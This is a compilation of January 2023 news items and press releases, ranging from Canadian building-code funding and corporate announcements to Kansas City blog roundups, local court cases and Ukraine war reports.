For provinces, territories, municipalities and Indigenous governments and communities with the authority to adopt energy codes, this funding will support them in accelerting code adoption and addressing gaps in code compliance and enforcement.

Stream 2: Support for organizations that do not have the authority to adopt energy codes, but play an important role in accelerating their adoption.

This funding will support these organizations to develop capacity-building projects that contribute to code adoption, compliance, and/or enforcement. This group includes for-profit and not-for-profit organizations and jurisdictions that do not have the authority to adopt codes.



Canada's ambitious emissions-reduction targets. For more information, please visit: Codes Acceleration Fund . Quotes

"As Canada advances toward a net-zero future, reducing emissions from our buildings is a critical undertaking. That is why I am pleased to announce the call for applications to the Codes Acceleration Fund. This fund will support our partner jurisdictions and others in advancing stronger building codes to improve resiliency and efficiency. Whether it is the Greener Homes program, investments in residential heat pumps or strengthened building codes, the Government of Canada is supporting the decarbonization of our buildings stock while creating jobs for Canadians." The Honourable Jonathan Wilkinson

Minister of Natural Resources "Fighting climate change requires governments of all orders to work together and take ambitious action. By improving our building codes in every region, we are ensuring that Canadians will have access to more efficient and resilient places to live, work and play. The transformation of our buildings stock also provides a generational opportunity for good paying jobs across the sustainable materials supply chain and through retrofitting initiatives. I look forward to seeing the projects affiliated with the Codes Accelerator Fund." Julie Dabrusin

Parliamentary Secretary to the Minister of Natural Resources and to the Minister of Environment and Climate Change Quick facts The call for proposals will remain open until March 27, 2023 . Applications from Indigenous governments and organizations will be accepted on an ongoing basis until March 31, 2025 .

. Applications from Indigenous governments and organizations will be accepted on an ongoing basis until . The application guide can be accessed at the following link: Application guide

Questions or comments on the Codes Acceleration Fund can be forwarded to: [email protected] .

. Budget 2022 provided $150 million over five years, starting 20222023, to Natural Resources Canada to develop the Canada Green Buildings Strategy. The strategy will focus on increasing the rate of building retrofits, ensuring buildings are resilient and net-zero-ready from the start, and on transforming space and water heating. Associated links Application guide

2030 Emissions Reduction Plan

The Canada Green Buildings Strategy Follow us on Twitter: @NRCan ( http://twitter.com/nrcan ) SOURCE Natural Resources Canada

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[January 24, 2023] Fish & Richardson Secures Summary Judgments and Recovers Attorneys' Fees in Copyright and Corporate Governance Dispute

Fish & Richardson secured an across-the-board victory on behalf of payroll and workforce solutions provider Proliant, Inc., and its chief executive officer Kevin Clayton in a complex copyright infringement and corporate governance dispute with MPAY, Inc. The Minnesota State Court's two recent orders for summary judgment resolve the corporate governance dispute and follow on the heels of an earlier summary judgment victory in U.S. District Court relating to copyright infringement. "We are thrilled to have achieved these important victories for Kevin Clayton and Proliant and we are immensely proud of the work our team did to secure the dual wins," said Principal Corrin Drakulich, who is also the firm's global head of litigation. "Although we knew that we had the facts on our side, we also knew that there was no room for error given the complexity of these cases and the decades-long business and litigation history between the parties. Our team is grateful for the opportunity to vindicate Mr. Clayton and the successful company he built from the ground up." In 2019, MPAY sued Proliant and Clayton in the U.S. District Court for the District of Minnesota and the Hennepin County (Minn.) District Court seeking more than $270 million in damages for alleged copyright infringement, trade secret misappropriation, and various state law claims relating to payroll processing software. MPAY claied Proliant and Clayton had exceeded the bounds of the licensing agreements between the parties by improperly possessing, enhancing, and providing to other entities MPAY's payroll processing source code, as well as contributing to the allegedly infringing sublicensing activities of Proliant's co-defendants in the case. Proliant and Clayton maintained that its source code work was authorized by the license agreements and that the remaining allegations were meritless.



Proliant and Clayton engaged Fish in the summer of 2020 after a federal magistrate judge had ordered large-scale production of privileged documents and imposed sanctions against all of the defendants related to a privilege log dispute. The Fish team was led by Principals Corrin Drakulich, Michael Florey and Doug McCann and included Associates Excylyn Hardin-Smith and Meghan Thadani. After oral arguments before the court on June 16, 2021, U.S. Senior District Judge Paul A. Magnuson issued an order fully granting Proliant and Clayton's summary judgment motion and dismissing Proliant and Clayton from the case. In December 2022, the Fish team won its motion for attorneys' fees under the Copyright Act. District of Minnesota Judge Eric C. Tostrud awarded Proliant over $823,000, the largest fee award of record for a copyright case in that district. The Court reasoned "Perhaps as a result of [MPAY's] 'bet the company' damages demand, this litigation was exceedingly hard-fought, and the hours Proliant and Clayton's attorneys billed are not out of proportion to the intensity of the litigation."

In the companion case in Minnesota state court, MPAY alleged that Clayton and Proliant breached fiduciary duties arising from their role in a Limited Liability Company of which MPAY is a member. The case was scheduled to go to trial at the end of January; however, shortly before trial Judge James A. Moore granted Clayton and Proliant's motion for summary judgment. Judge Moore found that Clayton, in his role as manager of the LLC, did not breach any fiduciary duties. ********* Fish & Richardson, the premier global intellectual property law firm, is trusted by the world's most innovative and influential companies. From patent, trademark, and copyright prosecution and counseling to our full-service litigation practice, we work together to provide our clients with exceptional advocacy across the life cycle of intellectual property needs in the U.S. and around the world. Our deep bench of attorneys with first-chair trial experience in every technology makes us the go-to firm for the most technically complex cases. Fish was established in 1878, and now has more than 400 attorneys and technology specialists in the U.S., Europe, and China. Our success is rooted in our creative and inclusive culture, which values the diversity of people, experiences, and perspectives. For more information, visit fr.com or follow us at @FishRichardson. View source version on businesswire.com: https://www.businesswire.com/news/home/20230124006045/en/

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[January 24, 2023] DSM - delivery of shares

This is a press release by Koninklijke DSM N.V. (Royal DSM), pursuant to the provisions of Sections 13 paragraphs 1 and 2 of the Dutch Decree on Public Takeover Bids (Besluit openbare biedingen Wft) (the Decree) in connection with the public offer by Danube AG (to be renamed DSM-Firmenich AG) for all the issued and outstanding ordinary shares in the capital of DSM (the Exchange Offer). This press release does not constitute an offer, or any solicitation of any offer, to buy or subscribe for any securities. This press release is not for general release, publication or distribution, in whole or in part, in or into, directly or indirectly, the United States or any other jurisdiction where such release, publication or distribution would violate applicable laws or regulations. HEERLEN, Netherlands, Jan. 24, 2023 /PRNewswire/ -- Following the Offering Circular published on 22 November 2022, Royal DSM is required to announce transactions relating to the ordinary shares in its capital in accordance with the Dutch public offer rules. This includes the delivery of treasury shares to employees in view of settling the vesting of share units or the exercise of stock options. Pursuant to commitments entered into prior to issuing the Offering Circular, DSM has on 24 January 2023, delivered 360 ordinary shares to employees in view of settling the exercise of an equivalent number of stock options granted under the respective DSM Incentive Plan (average exercise price 98.42). On the date hereof, the total number of issued and outstanding DSM ordinary shares is 173,083,520. As a consequence of the delivery included herein, the number of outstanding DSM ordinary shares increased by 0.0002%. DSM

Royal DSM is a global, purpose-led company in Health, Nutrition & Bioscience, applying science to improve the health of people, animals and the planet. DSM's purpose is to create brighter lives for all. DSM's products and solutions address some of the world's biggest challenges while simultaneously creating economic, environmental and societal value for all its stakeholders  customers, employees, shareholders, and society at large. The company was founded in 1902 and is listed on Euronext Amsterdam. More information can be found at www.dsm.com. Or find us on:

LinkedIn: http://www.linkedin.com/company/3108

Twitter: http://www.twitter.com/DSM

Facebook: http://www.facebook.com/DSMcompany

YouTube: http://www.youtube.com/user/dsmcompany For more information







DSM Media Relations Gareth Mead tel. +31 (0) 45 5782420 email [email protected] DSM Investor Relations Dave Huizing tel. +31 (0) 45 5782864 email [email protected]

Forward-looking statements

This press release may contain forward-looking statements with respect to DSM's future (financial) performance and position. Such statements are based on current expectations, estimates and projections of DSM and information currently available to the company. DSM cautions readers that such statements involve certain risks and uncertainties that are difficult to predict and therefore it should be understood that many factors can cause actual performance and position to differ materially from these statements. DSM has no obligation to update the statements contained in this press release, unless required by law. The English language version of the press release is leading. Logo - https://mma.prnewswire.com/media/329419/dsm_logo.jpg View original content:https://www.prnewswire.co.uk/news-releases/dsm---delivery-of-shares-301729577.html

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[January 24, 2023] HR TECH COMPANY, FIRST30, LINKS IMPRINTING TO ONBOARDING FOR EMPLOYEE RETENTION

TORONTO, Jan. 24, 2023 /CNW/ - Statistics show that 33% of new hires leave their employer within the first six months and that 20% of those leave within the first 45 days. An HR Tech Company, First30, is changing that statistic by linking the psychology of imprinting to the workplace and using it as the basis for its effective onboarding software. Imprinting is a cognitive, unconscious response to a new stimulus. When meeting for the first time or joining a new organization, our brain quickly forms an impression, much like a blueprint. Making a strong, positive impression on new employees during their onboarding is critical for their long-term potential. Yet, imprinting is rarely, if ever, spoken of in a business context. "An employee's first interaction with a new organization unknowingly forms a firm belief system, one that is difficult, if not impossible, to change once formed." says Amy Davies, Employee Retention and Onboarding Expert and founder of First30, "That is why the onboarding process is a critical moment in an employee's future with that organization. An onboarding program that gives a new employee the impression that the organization truly cares about their comfort and success will help that organization imprint positively in an employee's mind and drive retention." In fact, according to a Brandon Hall Group study commissione by Glassdoor, effective onboarding can reduce new hire turnover by 82%. To ensure an organization positively imprints on its new employees, First30 provides a unique platform that enables companies to consolidate employee orientation resources. It can be accessed from anywhere on any device, which makes onboarding remote hires easier and more effective.



First30 also provides companies with what it calls a "Retention Intervention"  a program focused on collecting meaningful feedback (in both survey form and through one-on-one interviews)  to identify where an organization is falling short and subsequently driving employee turnover. "Following our launch of First30's employee onboarding program, employee satisfaction with onboarding improved from 57% to 92%," says the Senior Director of Human Resources at Brenntag North America, Lisa Taillefer. Brenntag North America is not alone in this success. First30's unique onboarding platform has significantly impacted many Canadian companies' employee retention and is now being utilized by U.S. companies.

ABOUT AMY DAVIES Amy Davies is an Employee Retention and Onboarding Expert and the founder and CEO of First30, which offers advanced onboarding and outplacement services to businesses. She has shared her expertise on CP24 Breakfast and the Fine Tune and Women Talk Tech Podcasts, among others. She is also the author of A Spark in the Dark: Illuminating Your Path to a Brilliant Career in a Reorg World and the upcoming What Employees Want: Proven Strategies to Attract, Retain and Engage Talent, releasing September 2023. Before founding First30, Davies held leadership positions at top-tier companies in North America and the UK, including Unilever, Mars/Wrigley, Grainger and Rogers. ABOUT FIRST30 Founded in 2019, First30 is a female-led HR tech company that helps organizations successfully onboard their employees to reduce new hire churn and drive productivity and engagement. Its proprietary software solution enables companies to consolidate employee orientation resources and deliver an engaging onboarding experience over 30 days. The program can be accessed from anywhere on any device, which makes onboarding remote hires easier and more effective. https://first30ready.com/ SOURCE First30

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[January 24, 2023] CloudShape awarded US$144M contract by USAID for critical hybrid cloud services

HYATTSVILLE, Md., Jan. 24, 2023 /PRNewswire/ -- CloudShape, LLC of Hyattsville, Maryland announced it has been awarded a ten-year US$144M contract by the U.S. Agency for International Development (USAID) to deliver mission critical hybrid cloud services for the USAID Enterprise Data Center and Disaster Recovery (EDC/DR) Follow-on Program. CloudShape will provide USAID essential hybrid cloud services necessary for maintaining the Agency's critical business systems and applications to support USAID's Missions worldwide. As a leading provider of innovative IT Solutions and a subcontractor on the legacy EDC/DR contract, CloudShape provides USAID a low-risk solution focused on achieving excellence in secure multi-cloud access, improving infrastructure resiliency, and supporting USAID's mission and business objectives. CloudShape's solution introduces innovative ways to bolster USAID's ongoing successful cloud aoption, drive deeper mission enablement, and reduce infrastructure operating cost.



"We are humbled and grateful to USAID for their trust and confidence in our abilities to successfully deliver the EDC/DR Follow-on Program," said Brad Osborne, CloudShape Co-Founder and CEO. "We are excited to continue our proven track-record of delivering the right solutions, with the right people, at a competitive price with a focus on achieving the business outcomes required to meet USAID's mission objectives." About CloudShape, LLC

CloudShape, LLC, a Technology Focused IT Service provider, delivers innovative solutions and managed IT services to US Government agencies. As our name implies, we are industry experts in delivering all things associated with Cloud computing. We create enduring solutions for our Federal Clients focused on delivering measurable value and mission obtainment while reducing operational risk, improving resiliency, and lowering operating cost. We are Cloud Service Provider (CSP) agnostic and deliver best value solutions to our clients. At CloudShape, we are a team of technical and domain experts dedicated to meeting your business and mission outcomes through the application of our deep technical and domain knowledge. View original content:https://www.prnewswire.com/news-releases/cloudshape-awarded-us144m-contract-by-usaid-for-critical-hybrid-cloud-services-301729813.html SOURCE CloudShape

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Haters target this local Catholic school and police are on alert.



Check the basics of the story from MSM . . .



A message sent to parents from Bishop Miege described the threats as "alarming" and containing "inappropriate language and a threatening message."The letter to parents said Roeland Park police were notified of the threats and took action. Police will have a presence in the high school on Tuesday.

Read more via www.TonysKansasCity.com links . . .

Bishop Miege High School officials, police respond to social media threats involving students KANSAS CITY, Mo. - School officials from Bishop Miege Catholic High School in Roeland Park, Kansas, are responding to social media threats involving students on Monday night. A message sent to parents from Bishop Miege described the threats as "alarming" and containing "inappropriate language and a threatening message."

Threats with 'racist language' targeted students at Bishop Miege High School Threats were made to Black students at Bishop Miege High School on Monday, according to the school. The school said in a statement on Tuesday that a "disturbing social media screenshot with racist language" targeted black students. After the discovery of the threat, Miege officials alerted police, who were sent to the students' homes overnight.

Bishop Miege High School officials respond to social media threat from students ROELAND PARK, Kan. - Bishop Miege Catholic High School officials responded to social media threats made by students on Monday night, saying there will be an increased police presence at the school Tuesday. School administrators were alerted of a social media screenshot with inappropriate language and a threatening message around 10 p.m.

Update and somewhat realted . . .

Bishop Ward High School says social media threat deemed not credible KANSAS CITY, Mo. - Kansas City, Kansas, police say a social media threat against Bishop Ward High School in Kansas City, Kansas, is not credible. A letter sent to Bishop Ward families from principal Michelle Olson says KCKPD have investigated a threatening social media post and determined it was posted two months ago and resurfaced.

Developing . . .
Just a quick bit of catch-up on local crime reporting and ongoing legal debates . . . In this compilation we notice rising threats in the real world an online . . . Along with a bit of good news.



Check TKC news gathering . . .

Behind the scenes: How Kansas City area school districts train for cyberattacks BLUE SPRINGS, Mo. - You've likely heard about hackers targeting our schools after the fact, but what's being done to prevent a cyberattack that could put your child's personal information at risk? The KSHB 41 I-Team was given a behind the scenes look at how some Kansas City area school districts train for cybersecurity threats.

Standoff ends in Lee's Summit after 10 hours, officers evacuate 2 from home A man was arrested after a 10-hour standoff that began early Monday morning in Lee's Summit. Police were called out to the 900 block of NE Bristol Dr. at 3 a.m. on Monda morning on a domestic disturbance call. Officers learned on the scene that a man fired multiple gunshots during the disturbance.

Kansas City area police agencies investigating string of ATM thefts INDEPENDENCE, Mo. - At least three Kansas City metro police agencies are investigating a string of ATM thefts at Jackson County businesses. In at least two of them, video from security cameras shows criminals breaking into stores and stealing loaded cash machines. Police believe these cases could be related.

Jordan asks U.S. Supreme Court to reverse Kansas disbarment - Kansas City Business Journal A local lawyer who was disbarred by the state of Kansas for repeated claims that judges had lied and committed crimes is looking to the U.S. Supreme Court to get his Kansas license back. Jack Jordan filed an appeal Thursday, asking the high court to review, and reverse, the disbarment.

KCPD Social Worker Goes Along For The Ride When she arrives with officers or at a later date, by way of an officers referral, McQuillar often connects people in need to bare essentials. Diapers, food, rent assistance. She responds to domestic violence victims too.

Developing . . .
The Fortune Global Forum Abu Dhabi 2023 will see CEOs of the worlds biggest multinational firms, decision makers and economists from around the globe to engage with their peers in the UAE and the wider region.

Organised for the first time in the Middle East and North Africa (Mena), the Forum, from November 27 to 29 under the theme A New Era for Business, will address global agendas currently including market and trade dynamics, geopolitical tides, emerging technologies, talent in addition to workplace shifts, climate risk and consumer trends.

Rashed Abdulkarim Al Blooshi, Undersecretary of the Abu Dhabi Department of Economic Development (Added), said: Bringing the Fortune Global Forum to Abu Dhabi forms a critical part of our strategic economic progression roadmap, especially as we roll out our contribution to the international business development and ESG agendas alongside other global cities and enterprises, building synergies and improving life for all stakeholders. Novembers discussions and analyses by the C-suites, economists, reporters and think tanks in Abu Dhabi will serve to identify mutually beneficial economic opportunities, with sustainability and the notion of stakeholder capitalism at its core.

Multiple forces

Al Blooshi adds: In an era characterised by multiple forces influencing all aspects of life, it is imperative that we keep mobilising towards a viable economic and social goal, raising ambitions, and increasing the pace of implementation. Our mandate and objectives when representing Abu Dhabi and the UAE on the global centerstage, are to collaborate closely with everyone, complementing one another and improving coherence, thus creating greater and more impactful and self-sustaining economic models.

As part of preparations and agenda development leading up to Fortune Global Forum in Abu Dhabi 2023, Fortune will organise two events in key financial centres during the year.

Saood Abdulaziz Al Hosani, Undersecretary of the Department of Culture and Tourism  Abu Dhabi, said: Abu Dhabis progressive track record in hosting global business events of this calibre is testament to our proven capability, best-in-class infrastructure and year-round attractiveness of our destination. In these rapidly changing times for global business, we look forward to welcoming visionaries from government, the private sector and the media to take business dialogue to the next level while experiencing authentic Emirati hospitality in Abu Dhabi.

Ideal location

Alan Murray, Fortune CEO, said: Abu Dhabis growing role as a business, economic and cultural hub make it an ideal location for the 2023 Fortune Global Forum. The world is on the cusp of a new era of globalisation, requiring Fortune 500 companies to rethink their global footprints.

Abu Dhabis location, climate, culture, infrastructure and other assets make it a top contender for business operations, and Im confident the leaders of the worlds greatest companies will welcome the opportunity to assemble here in November, Murray added.

Launched in 1995, the Fortune Global Forum has established itself as a prime global platform for leaders, chairpersons, presidents, and CEOs of the worlds largest companies, including the Fortune Global 500, to discuss trends and factors shaping the global economy and explore cooperation and mutual investments.

Participants in previous Fortune Global Forums have included heads of state including former US Presidents Bill Clinton and George H W Bush, and Canadian Prime Minister Justin Trudeau; and company chairmen and CEOs Jamie Dimon of J.P. Morgan Chase, Ginni Rometty of IBM, Robert Iger of The Walt Disney Company, Alex Gorsky of Johnson & Johnson, Ajay Banga of Mastercard Inc., Ma Yun of Alibaba, Frederick W. Smith of FedEx, Kai-Fu Lee of Sinovation Ventures, and Carlos Brito of Anheuser-Busch InBev.-- TradeArabia News Service
Who says crime doesn't pay?

It sure did for a Wyandotte police officer accused of stealing a fellow officer's lunch.

To be clear, the officer in question is K-9 Ice and depending on who you talk to, there is some dispute whether or not a crime was even committed. Those who defend Ice's actions insist that the evidence against the police dog was purely circumstantial.

Others say that even if Ice did do what he is accused of, he should not be held accountable.

Ice's alleged crime was recently revealed on the Wyandotte Police Department's Facebook page. Since then, the post has been shared thousands of times on social media and has been picked up by Detroit-area radio and TV stations.

That original tongue-in-cheek post called out Ice for allegedly stealing food.

A little over a week ago, Officer Cade Barwig was eating lunch in the breakroom when he was called to assist with a person in the jail. He quickly jumped into service, leaving his half-eaten lunch on the table.

A short while later, Barwig and another officer returned to the breakroom, only to find Ice leisurely strolling out of the room, licking his chops. Barwig's lunch had vanished.

Normally a police department doesn't solve crimes through the court of public opinion, but this clearly wasn't your typical case. The Facebook post concluded by stating that Wyandotte police would consider the department's Facebook followers' opinions on how to proceed with the investigation.

Well, the people have spoken and their sentiments are overwhelmingly in favor of going easy on Ice.

On Wednesday, the Police Department posted an update, confirming that Ice has many fans not only in Wyandotte, but throughout the state.

Had the department opted to pursue charges against Ice, dozens of attorneys offered to defend the officer  pro bono.

"We have been threatened with massive protests if we move forward with our investigation and/or charges," the Police Department stated in the post. "Plus, the overall public just doesn't believe he is guilty. No video has been produced. That being said, Officer Ice will not face any internal discipline or criminal charges."

But here's the clincher. Not only is Ice not getting punished for his alleged indiscretion, he is actually being rewarded for it.

One of his local supporters, Lunch Wyandotte, located at 3050 Biddle Ave., dropped off a custom-made sandwich for the dog on Wednesday because they felt he wasn't being fed enough.

But never fear, the restaurant didn't forget about the rest of the department. They provided officers with a tray of sandwiches, so as not to show favoritism toward Ice.

Ice is oblivious to the controversy, but he happily accepted the sandwich without any questions asked.

Dog breeds with the most timeless popularity Dog breeds that are consistently popularity #35. Chow chows #34. Brittanys #33. Newfoundlands #32. West Highland White Terriers #31. Pugs #30. Siberian Huskies #29. Irish setters #28. Airedale terriers #27. Chesapeake Bay Retrievers #26. Saint Bernards #25. Dalmatians #24. Yorkshire terriers #23. Basset hounds #22. Scottish terriers #21. Pembroke Welsh corgis #20. Shetland sheepdogs #19. Chihuahuas #18. Miniature schnauzers #17. French bulldogs #16. German shorthaired pointers #15. Golden retrievers #14. Collies #13. Pomeranians #12. English Springer Spaniels #11. Great Danes #10. Doberman pinschers #9. Boxers #8. Cocker spaniels #7. Labrador Retrievers #6. Poodles #5. Boston terriers #4. German shepherds #3. Bulldogs #2. Dachshunds #1. Beagles
It's around 9PM right now and in bigger better cities downtown is filled with semi-functional alcoholics getting drinks, a few weed bars drawing in customers and musical venues hosting a bevy of sh*tty local bands. However, inside the loop right now, Kansas City, MO is a ghost town.

As the work week started there also wasn't a great deal of hustle & bustle during daylight hours.

We could quarrel over the promises of developers & politicos regarding density.

However . . .

Like it or not, what we notice is that there is a growing Democratic Party argument about Federal workers returning to the office and THAT DEBATE IMPACTS KANSAS CITY given that the feds have long been the leading employer in the metro.



Recently, the mayor of D.C. took the Prez to task on this issue.

After the jump we share a glimpse at the big picture and more news regarding the argument:



"In the local nightmare scenario, a downtown thats perpetually short of workers has disastrous knock-on effects: Taxes on retail sales and commercial real estate dont come in, public services get cut back, transit gets slower, empty streets feel increasingly scary, and the capital regains its 1980s-era image as a place people flee."

Read more via www.TonysKansasCity.com links . . .

D.C. Mayor to Biden: Your Teleworking Employees Are Killing My City In the process, the Democratic mayor has landed on the same page as some of the most conservative members of the House GOP majority, who last week cosponsored the SHOW UP bill, which would mandate that federal agencies return to their pre-Covid office arrangements within 30 days.
The illusion of community interaction is powerful in Kansas City.

The relevant info could be shared by way of tweet/post or even smoke signal.



Instead . . . Here's the home team dragging out the hopes and dreams of the public ahead of their inevitable move . . .



Both meetings will be held next week at the following times and locations.



Tuesday, Jan. 31

Urban Youth Academy

1622 E 17th Terrace, Kansas City, MO

5-6:30 PM



Wednesday, Feb. 1

Midwest Genealogy Center Community Hall in Independence

3440 S. Lee's Summit, Independence, MO

5:30-7:00 PM





Read more via www.TonysKansasCity.com links . . .

Kansas City Royals announce additional meetings for new ballpark district KANSAS CITY, Mo, - The Kansas City Royals plan to hold two more public meetings to discuss plans for a new ballpark district downtown. Both meetings will be held next week at the following times and locations. Tuesday, Jan. 31 Urban Youth Academy 1622 E 17th Terrace, Kansas City, MO 5-6:30 p.m.
The so-called "moderate" Democratic Party leader isn't going to meet her GOP colleagues halfway on school vouchers.



Meanwhile, here's an overview on the worsening divide betwixt most of Kansas vs. the relatively new Johnson County progressive majority . . .



Take a peek . . .



Kelly was scheduled to give the annual State of the State address Tuesday evening to a joint session of the state House and Senate. She previously outlined several proposals for cutting taxes that include eliminating the states 4% sales tax on groceries by April 1.



Other proposals, including expansion of the states Medicaid coverage for the needy and elderly, previously have been blocked by GOP lawmakers.



Top Republican legislators have outlined their own agenda with ideas in vogue in other GOP-led states. They include allowing parents to claim tax dollars previously earmarked for public schools to cover private or home schooling costs and restricting how public schools discuss gender and sexuality. Kelly and GOP leaders also differ strongly on tax cuts.

Read more via www.TonysKansasCity.com link . . .

Kansas Governor's plan is met with conservative skepticism - Newstalk KZRG TOPEKA, Kan. (AP) - Democratic Gov. Laura Kelly is preparing to outline what she is likely to call a middle-of-the-road agenda for a Republican-controlled Kansas Legislature that already expects to ditch much of what she'll propose in favor of more conservative ideas on taxes and education.

Kansas Governor Laura Kelly to outline agenda in State of the State address TOPEKA, Kan. (AP) - Democratic Gov. Laura Kelly is preparing to outline what she is likely to call a middle-of-the-road agenda for a Republican-controlled Kansas Legislature that already expects to ditch much of what she'll propose in favor of more conservative ideas on taxes and education.

Developing . . .
Here's an honest question . . .

Given that drag shows are now broadcast with major corporate sponsorship and earn RECORD TV ratings . . . Is the "age-appropriate" debate as powerful and/or convincing as many conservatives argue???

Answering that question is a value judgement but we're also interested in objective considerations. Again, I'm truly curious to know what parents might think given that this part of an American "cultural shift" might have already taken hold and opponents were too late to push back.



Here are the basics of this regional and, some might claim, provincial controversy . . .



Middle-school children from at least three schools attended the diversity breakfast sponsored by the citys Office of Cultural Affairs along with Mayor Barbara Buffaloe, the Libs of TikTok website reported.



The report includes a photo of a permission slip for students of Columbias Smithton Middle School that failed to mention the drag performances by a group called NClusion+, an organization that dubs itself a new-age, next-level club that features all things LGBTQIA+.

Read more via www.TonysKansasCity.com links . . .

Missouri parents are asking what schools, mayor knew about drag performances attended by middle schoolers Public officials in Columbia, Missouri are on the spot to explain themselves after exposing school children to drag performances under the guise of a diversity celebration for Martin Luther King Day. None of the schools informed parents the celebration would include drag performances, and there is some indication they purposefully kept the information from parents.

CPS superintendent and Nclusion Plus respond to concerns over drag performance COLUMBIA - Columbia Public Schools Superintendent Brian Yearwood responded to Gov. Mike Parson's concerns about a drag performance at a city of Columbia diversity event. On Friday, Gov. Parson tweeted that his office was "deeply concerned that Columbia middle school students were subjected to adult performers during what is historically a MLK day celebration...

Drag performers in Columbia push back against 'fear mongering' by Missouri Republicans After a musical drag performance at the annual Columbia Values Diversity Breakfast, Missouri Attorney General Andrew Bailey sent letters to the Columbia public school district and city officials accusing them of violating laws protecting children from sexually explicit material. The group says the performance was "completely G-rated."

Developing . . .
It will feature a 500-seat multidisciplinary performance hall and a variety of purpose-built film studios and other arts and culture spaces.
Mike Adler is a reporter with toronto.com and Metroland Media Toronto who covers Scarborough and other overlooked parts of Toronto. He worked previously for Metroland in York Region.
One year anniversary of the Freedom Convoy. A look back at some Star stories on the occupation and how Ottawa handled it
Andrew Palamarchuk is a reporter with Metroland Media Toronto and toronto.com. He has been covering the crime beat since 2002 and has a passion for giving a voice to those affected by tragedy and looking at societal issues that may have contributed to it.
Advocates for ideas and draws conclusions based on the interpretation of facts and data.

Tamil Heritage Month at University of Toronto Scarborough was about more than just language
A Genesee County woman has been sentenced to one year probation for her role in a scheme that solicited donations to build an orphanage in Africa, U.S. Attorney Trini E. Ross announced.

Julie Keller, 57, of Corfu, who was convicted of wire fraud, also was ordered by U.S. District Judge John L. Sinatra Jr. to pay $162,853.59 in restitution.

Prosecutors said that Keller worked in conjunction with someone online who claimed to be raising money for the orphanage and received money from July 2015 to September 2020 from people donating to the project.

Keller deposited the donations into accounts at First Niagara Bank, M&T Bank, KeyBank and Bank of American, then sent them to other bank accounts in foreign countries. Eventually each of the banks closed her accounts because of suspicious and fraudulent activity.

Prosecutors said Keller also became aware that the orphanage project was phony, or strongly suspected that it was, but continued to deposit the donations into her accounts. Total loss to the victims was $182,730.76.
A Kenmore man who was a registered sex offender pleaded guilty to forcibly engaging in sexual contact with a woman he did not know in Buffalo last summer, the Erie County District Attorney's Office said Tuesday.

Mark Trykowski pleaded guilty to one felony count of criminal sexual act in the first degree before State Supreme Court Justice M. William Boller Monday morning.

Prosecutors said that at about 6:40 p.m. July 3, he attacked a woman in Buffalo. He didn't know the woman. The woman went to Erie County Medical Center where she underwent a rape kit. DNA obtained through the examination as well as other evidence linked the crime to Trykowski.

Trykowski, who was being held without bail, faces up to 25 years in prison when he's sentenced on March 10.

According to the New York Sex Offender Registry, Trykowski has two previous sex offenses on his record from 2007. On June 7, 2007, he was accused of attempted sexual contact with a victim he didn't know in the Town of Tonawanda. The next day, he was accused of attempted sexual misconduct in North Tonawanda. He was convicted of a felony count of first-degree sexual abuse in the town case and a misdemeanor count of attempted sexual misconduct in the second.

He was registered as a Level 2 sex offender, meaning he was considered at moderate risk of repeating an offense.
In this Episode of Morning Edition, for most of this week the major topic of discussion has 
NATO Secretary General Jens Stoltenberg believes that partners should help Ukraine win on the battlefield and create conditions for ending the war at the negotiating table on its terms.

"No one knows how this war will end... Most wars end, as a rule, at the negotiating table. But one must realize that what Ukraine can achieve at the negotiating table depends entirely on what will be achieved on the battlefield. Putin has not changed his goals: complete control over all of Ukraine. Therefore, the only way, the condition for a peaceful solution is an unequivocal message to Putin: he will not win on the battlefield. We have to create these conditions," Stoltenberg said on the air of the Welt German TV channel, Ukrinform reports.

He added that allies and partners should create favorable conditions for Ukraine on the front line by providing the necessary weapons.

According to the NATO Secretary General, the allies discuss now which weapons to transfer to Ukraine and how to ensure the effective functioning of the systems transferred earlier.

Stoltenberg disagreed with the assessment that the current debate over the transfer of battle tanks is splitting the Alliance and that Germany has pitted itself against other countries. Sometimes making such decisions requires time and consultations, the content of which is not made public, the politician added.

"In general, we see a serious strengthening of Ukraine's defense capabilities, so that it not only survives but also can win this war... We must move forward and not allow Putin to win. This would create a very threatening situation for our security interests. We have to make sure that Ukraine wins," the NATO chief said.

As reported, NATO Secretary General Jens Stoltenberg called on allies and partners to urgently increase the amount of security assistance to Ukraine following the Ramstein format meeting.

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The issue of supplying Leopard 2 tanks to Ukraine is at the final stage, the last "half step" remains to be taken.

"I said, and I can repeat again, that we have only half a step left to take in the matter of tanks. We have already received the British Challengers, which we were once told were impossible. We are already receiving French tanks  light ones so far. We hear that France is considering the provision of Leclerc tanks. I have no doubts that the Leopard tanks will reach us. We are at the final stage," Minister of Foreign Affairs of Ukraine Dmytro Kuleba said during the nationwide news telethon, Ukrinform reports.

Ukraines top diplomat noted that it was problematic for Germany to provide Ukraine with every type of weapon because it is "such a country, there are specifics, it must be taken into account."

"But, in the end, we always got the necessary result, and this time we will get the same result," said the minister.

Commenting on Germany's delay in resolving the issue of providing tanks to Ukraine, he noted that the Ukrainian side informs the German partners that the sooner they make this decision, the less blood of Ukrainian soldiers will be shed and the fewer Ukrainian lands will be under occupation.

According to Kuleba, Ukraine makes every effort to speed up Germany and other countries at all levels.

"Such stunning diplomatic combinations are being made, everyone is busy with Leopards, and we will get results," the minister emphasized.

As reported, on January 19, Minister of Foreign Affairs Dmytro Kuleba and Minister of Defense Oleksii Reznikov called on countries that have Leopard 2 tanks in service to provide them to Ukraine.

On January 21, Reznikov stated that although the provision of tanks to Ukraine had not been announced at the Ukraine Defense Contact Group meeting, the countries that own Leopard tanks would start training missions for Ukrainian tankers.

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From February 24, 2022 to January 24, 2023, Ukraines Defense Forces of Ukraine eliminated nearly 122,170 Russian aggressors, including 690 in the past day alone.

Thats according to the General Staff of the Armed Forces, Ukrinform reports.

Also, the Ukrainian forces destroyed 3,152 enemy tanks (+2 in the past day), 6,284 (+8) armored combat vehicles, 2,148 (+2) artillery systems, 448 (+1) multiple launch rocket systems, 220 (+0) air defense systems, 289 ( +2) warplanes, 281 (+4) helicopters, 1,897 (+3) UAVs of operational and tactical level, 749 (+0) cruise missiles, 18 (+0) warships/cutters, 4,944 (+8) trucks and tankers, and 194 (+1) units of specialized equipment.

The latest data on enemy losses on the battlefield is being verified.
General Colonel Mikhail Teplinskys dismissal is yet another sign of continued divisions within Russias senior command as General Valeriy Gerasimov is trying to impose his personal authority on the ongoing campaign in Ukraine.

Thats according to the British Defense Ministry citing the intelligence update, Ukrinform reports.

Teplinskys dismissal is likely another symptom of continued divisions within the senior hierarchy of Russias operation as General Valery Gerasimov attempts to impose his personal authority on the campaign, the report says.

